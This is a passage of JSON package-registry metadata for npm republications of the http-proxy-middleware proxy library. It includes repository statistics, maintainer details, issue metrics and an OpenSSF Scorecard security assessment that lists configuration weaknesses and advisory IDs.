more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.080Z","dependent_packages_count":0,"downloads":26,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":23.123261736832294,"dependent_packages_count":33.346659143726896,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":28.234960440279593},"purl":"pkg:npm/%40rg-dev/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@rg-dev/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@rg-dev/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@rg-dev/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-07T02:25:53.474Z","issues_count":134,"pull_requests_count":268,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4257425.956896552,"issues_closed_count":64,"pull_requests_closed_count":232,"pull_request_authors_count":42,"issue_authors_count":129,"avg_comments_per_issue":4.843283582089552,"avg_comments_per_pull_request":1.3246268656716418,"merged_pull_requests_count":188,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":15,"past_year_pull_requests_count":88,"past_year_avg_time_to_close_issue":306048.3333333333,"past_year_avg_time_to_close_pull_request":54242.293333333335,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":75,"past_year_pull_request_authors_count":10,"past_year_issue_authors_count":14,"past_year_avg_comments_per_issue":0.5333333333333333,"past_year_avg_comments_per_pull_request":1.3863636363636365,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":65,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":70,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@rg-dev%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@rg-dev%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@rg-dev%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@rg-dev%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@rg-dev%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@rg-dev%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"rg-dev","login":"rg-dev","name":null,"email":"roei.gruber@gmail.com","url":null,"packages_count":37,"html_url":"https://www.npmjs.com/~rg-dev","role":null,"created_at":"2026-01-05T00:42:00.755Z","updated_at":"2026-01-05T00:42:00.755Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/rg-dev/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1360084,"name":"@webee/http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"webee","versions_count":2,"first_release_published_at":"2021-11-23T12:40:51.939Z","latest_release_published_at":"2022-01-07T07:13:15.466Z","latest_release_number":"2.0.1-p2","last_synced_at":"2026-07-10T15:02:59.930Z","created_at":"2022-04-08T22:19:16.616Z","updated_at":"2026-07-10T15:02:59.931Z","registry_url":"https://www.npmjs.com/package/@webee/http-proxy-middleware","install_command":"npm install @webee/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.0.1-p2"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last 